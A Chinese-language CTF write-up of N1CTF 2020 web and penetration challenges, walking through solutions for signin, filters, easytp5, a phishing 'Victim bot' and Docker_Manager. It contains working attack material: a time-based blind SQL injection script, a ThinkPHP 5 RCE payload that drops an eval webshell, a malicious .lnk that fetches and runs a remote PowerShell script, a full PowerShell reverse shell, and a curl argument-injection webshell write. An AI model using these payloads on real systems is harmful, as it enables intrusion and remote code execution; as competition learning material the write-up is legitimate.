n1ctf2020

N1CTF的題目質(zhì)量毋庸置疑,可惜自己能力不足。除了簽到還看了easytp5,filters,還有滲透系列的Victim.基本都沒(méi)思路或者思路跑偏了......抓緊復(fù)現(xiàn)下來(lái)學(xué)習(xí)學(xué)習(xí)。

signin

這題拿的二血難受死了,錯(cuò)失空指針邀請(qǐng)碼......(西湖upload也是二血,自己人最近也有點(diǎn)水逆,難道這就是2的詛咒么?:( )

source

class ip {
    public $ip;
    public function waf($info){
    }
    public function __construct() {
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
            $this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
        }else{
            $this->ip =$_SERVER["REMOTE_ADDR"];
        }
    }
    public function __toString(){
        $con=mysqli_connect("localhost","root","********","n1ctf_websign");
        $sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
        if(!mysqli_query($con,$sqlquery)){
            return mysqli_error($con);
        }else{
            return "your ip looks ok!";
        }
        mysqli_close($con);
    }
}

class flag {
    public $ip;
    public $check;
    public function __construct($ip) {
        $this->ip = $ip;
    }
    public function getflag(){
        if(md5($this->check)===md5("key****************")){
            readfile('/flag');
        }
        return $this->ip;
    }
    public function __wakeup(){
        if(stristr($this->ip, "n1ctf")!==False)
            $this->ip = "welcome to n1ctf2020";
        else
            $this->ip = "noip";
    }
    public function __destruct() {
        echo $this->getflag();
    }

}
if(isset($_GET['input'])){
    $input = $_GET['input'];
    unserialize($input);
} 

顯然我們需要getflag的話,需要拿到數(shù)據(jù)庫(kù)里的key.而key需要通過(guò)sql注入獲取。這里唯一存在注入的地方在ip的__toString中。故通過(guò)反序列化觸發(fā)__toString即可。設(shè)置flag類的ip為ip類就可以在stristr處觸發(fā)了。

接下來(lái)就是黑盒waf下進(jìn)行注入的事了。
我的思路比較直接。直接時(shí)間盲注。當(dāng)然這里稍微構(gòu)造下進(jìn)行報(bào)錯(cuò)盲注也是可以的。(因?yàn)?code>__toString的返回值會(huì)與n1ctf比較,而__toString返回值有mysql報(bào)錯(cuò)與"your ip looks ok!"兩種,那么就可以構(gòu)造報(bào)錯(cuò)從而產(chǎn)生布爾值來(lái)盲注了)

時(shí)間盲注的話,由于ban了不少關(guān)鍵詞,所以我是現(xiàn)學(xué)的新方法
select rpad('a',2999999,'a') regexp concat(repeat('(a.*)+',30),'b')

其實(shí)挺像 js里的正則盲注的。當(dāng)然其實(shí)從其他幾種時(shí)間盲注方法如heavy query就可以推出這種令服務(wù)端產(chǎn)生負(fù)荷的方法必然可行233。
然后題目只waf掉了rpad,rpad不能用的話改成lpad就好了:)

exp

import requests
import time
import string


url='http://101.32.205.189/'


def getflag(payload):
    r = requests.get(url, params={'input': payload})
    print(r.text)
#key n1ctf20205bf75ab0a30dfc0c

def sqli():
    res=""
    for i in range(1,50):
        print(i)
        for j in string.printable:
            headers = {
                #'X-Forwarded-For': "1'^(if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),"+str(i)+",1))=" + str(ord(j)) + ",(select lpad('a',2999999,'a') regexp concat(repeat('(a.*)+',30),'b')),0))^'1"
                #'X-Forwarded-For': "1'^(if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='n1key'),"+str(i)+",1))=" + str(j) + ",(select lpad('a',2999999,'a') regexp concat(repeat('(a.*)+',30),'b')),0))^'1"
                'X-Forwarded-For': "1'^(if(ascii(substr((select `2` from (select 1,2 union select * from n1key)a limit 1,1),"+str(i)+",1))=" + str(ord(j)) + ",(select lpad('a',2999999,'a') regexp concat(repeat('(a.*)+',30),'b')),0))^'1"
                # select `2` from (select 1,2 union select * from n1key) a limit 1,1
            }
            t = time.time()
            r = requests.get(url, params={'input': payload}, headers=headers)
            if 'hack' in r.text:
                print('banwords')
            if time.time() - t > 2.5:
                res +=j
                print(res)
                break



if __name__=="__main__":
    #sqli('O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";N;}s:5:"check";N;}')
    getflag('O:4:"flag":2:{s:2:"ip";N;s:5:"check";s:25:"n1ctf20205bf75ab0a30dfc0c";}')

這里浪費(fèi)我時(shí)間最久的就是最后一步select key from n1key,導(dǎo)致錯(cuò)失一血。試了好久還換了一種注法才懷疑是他服務(wù)端waf了這個(gè)語(yǔ)句。然后嘗試性的改成無(wú)列名注入select `2` from (select 1,2 union select * from n1key)a limit 1,1就成了 orz. 所以可能還是自己太菜才錯(cuò)失良機(jī)吧。

filters

source

<?php

isset($_POST['filters'])?print_r("show me your filters!"): die(highlight_file(__FILE__));
$input = explode("/",$_POST['filters']);
$source_file = "/var/tmp/".sha1($_SERVER["REMOTE_ADDR"]);
$file_contents = [];
foreach($input as $filter){
    array_push($file_contents, file_get_contents("php://filter/".$filter."/resource=/usr/bin/php"));
}
shuffle($file_contents);
file_put_contents($source_file, $file_contents);
try {
    require_once $source_file;
}
catch(\Throwable $e){
    pass;
}

unlink($source_file);

?>

這題自己就沒(méi)做出來(lái)了。不過(guò)可以分享下我當(dāng)時(shí)的思路,我感覺(jué)應(yīng)該是控制filter過(guò)濾器多層組合fuzz來(lái)構(gòu)造任意字符。也就是說(shuō)前提是在resource始終為/usr/bin/php下的。

假如這里不是file_get_contents的話其實(shí)很簡(jiǎn)單,因?yàn)檫^(guò)濾器的內(nèi)容可以使用我們自定義的,所以像

php://filter/write=string.rot13|<?cuc @riny($_CBFG[Dsgz])?>/resource=
php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSb[cy)]?; >

可以在file_put_contents()時(shí)寫入指定文件。并且warning不影響寫入。不過(guò)出題人肯定知道這點(diǎn)所以是先f(wàn)ile_get_contents再file_put_contents。并且文件名的參數(shù)也不可控,所以就不知道是什么奇淫技巧了。

ps: 看到官方wp的確是fuzz構(gòu)造字符。有點(diǎn)orange 的 oneline php challenge那味了。

看到SuperGusser的wp后感覺(jué)他們的思路是真的簡(jiǎn)單。。。

filters=resource=data:,<?php%20system('ls');?>

直接最質(zhì)樸的data協(xié)議寫入,不用帶上text,plain,base64之類的。那么后面的內(nèi)容都被當(dāng)做data的內(nèi)容了。所以根本不用管/

easytp5

smile大師傅的題必然少不了thinkphp ?
這題我思路有點(diǎn)走偏了,其實(shí)要是按照原來(lái)暑假跟過(guò)的tp5.0 的rce思路應(yīng)該會(huì)順利多了。

以下內(nèi)容可以在直接學(xué)習(xí)tp漏洞的筆記找到
首先是一個(gè)tp5 rce的通用點(diǎn)。那就是可以通過(guò)控制器來(lái)覆蓋值。
在Request.php

if (isset($_POST[Config::get('var_method')])) {
      $this->method = strtoupper($_POST[Config::get('var_method')]);
      $this->{$this->method}($_POST);
}

典型的就是可以調(diào)用Request任意方法并以$_POST為參數(shù)。
然后進(jìn)__construct

public function __construct($options = []){
        foreach ($options as $name => $item) {
            if (property_exists($this, $name)) {
                $this->$name = $item;
            }
        }
        if (is_null($this->filter)) {
            $this->filter = Config::get('default_filter');
        }
}

有一個(gè)任意參數(shù)覆蓋。所以還是利用這個(gè)類的所有可控參數(shù)來(lái)找gadget打。
這里繼續(xù)下斷點(diǎn)一路跟發(fā)現(xiàn)會(huì)根據(jù)app_debug的值前往當(dāng)前類下param方法。
而這個(gè)方法全都走input方法。也就是都會(huì)調(diào)用了call_user_func。

//input
if (is_array($data)) {
    array_walk_recursive($data, [$this, 'filterValue'], $filter);
    reset($data);
} 

//filterValue
private function filterValue(&$value, $key, $filters)
{
    $default = array_pop($filters);
    foreach ($filters as $filter) {
        if (is_callable($filter)) {
            // 調(diào)用函數(shù)或者方法過(guò)濾
            $value = call_user_func($filter, $value);
        } elseif (is_scalar($value)) {

以上部分跟tp5的rce思路完全一致。只不過(guò)題目設(shè)置了disable_function,以及禁用了一些單參數(shù)函數(shù)。導(dǎo)致大部分payload都不可行。

那么比較重要的就是找gadget了。
我們可以控制filter,然后進(jìn)行任意方法的單參數(shù)rce.不過(guò)由于for循環(huán)循環(huán)調(diào)用$value.所以可以搭配gadget進(jìn)行rce.
這里可以找惡意函數(shù)找到eval
thinkphp\library\think\view\driver\Php.php

public function display($content, $data = [])
{
    if (isset($data['content'])) {
        $__content__ = $content;
        extract($data, EXTR_OVERWRITE);
        eval('?>' . $__content__);
    } else {
        extract($data, EXTR_OVERWRITE);
        eval('?>' . $content);
    }
}

因?yàn)檫@里的直接調(diào)用會(huì)報(bào)錯(cuò),所以看到SuperGuesser的wp里提到了設(shè)置set_error_handler 為任意其他函數(shù)來(lái)避免tp的默認(rèn)錯(cuò)誤處理。此處是implode.那么就可以直接繼續(xù)了。
關(guān)于filter的調(diào)用。

就是這四次調(diào)用

1.set_error_handler "implode"
2.self::path  base64-payload 
3.base64_decode  base64-payload 
4.\think\view\driver\Php::Display payload

payload

http://127.0.0.1:8000/?s=captcha&g=implode"

post:
path=PD9waHAgZmlsZV9wdXRfY29udGVudHMoJ2J5Yy5waHAnLCc8P3BocCBldmFsKCRfUkVRVUVTVFtieWNdKTs/PicpOyA/P
g==&_method=__construct&filter[]=set_error_handler&filter[]=self::path&filter[]=base64_decode&filter[]=\think\view\driver\Php::Display&method=GET

這里我覺(jué)得利用::的確意想不到。以為按照自己的認(rèn)識(shí)來(lái)說(shuō)::是用來(lái)訪問(wèn)靜態(tài)屬性跟方法。沒(méi)想到是可以調(diào)非靜態(tài)的(有warning).基于上面已經(jīng)解決了tp報(bào)錯(cuò)的問(wèn)題,這里也就沒(méi)啥問(wèn)題了。

看到smi1e分享了其他一些非預(yù)期解以及預(yù)期解。打算跟一跟

The king of phish (Victim bot)

source

import os
import uuid
import LnkParse3 as Lnk
from flask import Flask, request

app = Flask(__name__)

@app.route('/')
def index():
    source = open(__file__, 'r').read().replace("\n", "\x3c\x62\x72\x3e").replace(" ", "\x26\x6e\x62\x73\x70\x3b")
    return source


@app.route('/send', methods=['POST'])
def sendFile():
    if 'file' not in request.files:
        return 'No file part'
    file = request.files['file']

    if file.filename == '':
        return 'No selected file'
    data = file.stream.read()
    if not data.startswith(b"\x4c\x00"):
        return "You're a bad guy!"
    shortcut = Lnk.lnk_file(indata=data)
    if shortcut.data['command_line_arguments'].count(" "):
        return "File is killed by antivirus."
    filename = str(uuid.uuid4())+".lnk"
    fullname = os.path.join(os.path.abspath(os.curdir) + "/uploads", filename)
    open(fullname, "wb").write(data)
    clickLnk(fullname)
    return "Clicked."


def clickLnk(lnkPath):
    os.system('cmd /c "%s"' % lnkPath)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

這里開(kāi)始主要是被lnk的命令里bypass 空格給困擾了。后來(lái)想起來(lái)不用空格還可以用其他不可見(jiàn)字符.那就很簡(jiǎn)單了。用\t替換下空格即可。
結(jié)果找半天沒(méi)找到惡意lnk的生成工具。。。

最后今天復(fù)現(xiàn)時(shí)找到一個(gè)windows上的。 https://github.com/fireeye/SharPersist
用以下命令即可生成lnk文件.

SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "IEX(New-Object`tNet.WebClient).DownloadString('http://xxx/byc.ps1')" -f "byc1" -m add

這里用到一個(gè)小技巧:powershell命令行下可以直接用`t 來(lái)表示字符串中的\t

然后開(kāi)始準(zhǔn)備用的是nishang的反彈shell腳本。結(jié)果沒(méi)反應(yīng),感覺(jué)是被防火墻攔了。所以就換了個(gè)簡(jiǎn)單的
服務(wù)器上的byc.ps1

$client = New-Object System.Net.Sockets.TCPClient("10.0.2.4",9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

最后發(fā)送即可getshell


flag在userA 桌面
n1ctf{I'm_a_little_fish,_swimming_in_the_ocean}

后面拿域控的思路就沒(méi)有了...

Docker_Manager

BUU上面又復(fù)現(xiàn)了兩題。zabbix_fun直接拿exp打的。Docker_Manager可以記錄下

趙總的wp很詳細(xì)了。學(xué)到很多
https://www.zhaoj.in/read-6750.html

題目核心代碼基本就是下面了

$cmd = 'curl --connect-timeout 10 ' . $host_addr . ' -g ' . $cert . $key . $cacert;
$output = array();
$ret = 0;
exec($cmd, $output, $ret);

顯然就是一個(gè)curl的參數(shù)注入。但是利用起來(lái)比較有趣。

You tell curl to read more command-line options from a specific file with the -K/--config option, like this:

-K是可以讀取一個(gè)配置文件的。然后如果配置文件demo如下

# --- Example file ---
# this is a comment
url = "example.com"
output = "curlhere.html"
user-agent = "superagent/1.0"
 
# and fetch another URL too
url = "example.com/docs/manpage.html"
-O
referer = "http://nowhereatall.example.com/"
# --- End of example file ---

也就是說(shuō),只要K能加載到設(shè)計(jì)過(guò)的配置文件,就能讀內(nèi)容并輸出。這只用到了-K一個(gè)指令,即可達(dá)成寫shell的目的。
然后就是非常巧妙的一個(gè)利用了。我們需要想辦法讀到配置文件,而這就是利用了/proc/xxx/cmdline
原來(lái)我們知道,/proc/self/cmdline常用于讀取java,python這樣的web應(yīng)用的一些簡(jiǎn)單配置。但是實(shí)際上其他命令行或者說(shuō)一個(gè)pid都會(huì)對(duì)應(yīng)其運(yùn)行時(shí)的命令即/proc/{pid}/cmdline

那么假如我們有辦法讓cmdline長(zhǎng)時(shí)間駐留,就可以爆破pid讀取到配置文件。這里可以利用/dev/urandom等等文件。實(shí)際上dev下很多沒(méi)有實(shí)際大小的文件都可以用來(lái)讀取。

那么首先我們利用換行符,就能在某個(gè)pid的cmdline構(gòu)造如下的一個(gè)配置文件

view.php?host=-K/dev/urandom%00&cacert=111%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0aurl="http://frps:9001/byc.php"%0aoutput="img/byc.php"%0a%0a%0a%0a%0a%0a%0a
curl --connect-timeout 10 '-K/dev/urandom' --cacert='111





url="http://frps:9001/byc.php"
output="img/byc.php"

接下來(lái)就是同樣的辦法爆破-K/proc/xx/cmdline,從而加載上面的配置文件,寫進(jìn)shell

getshell后 trap "" 14 && /readflag即可。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容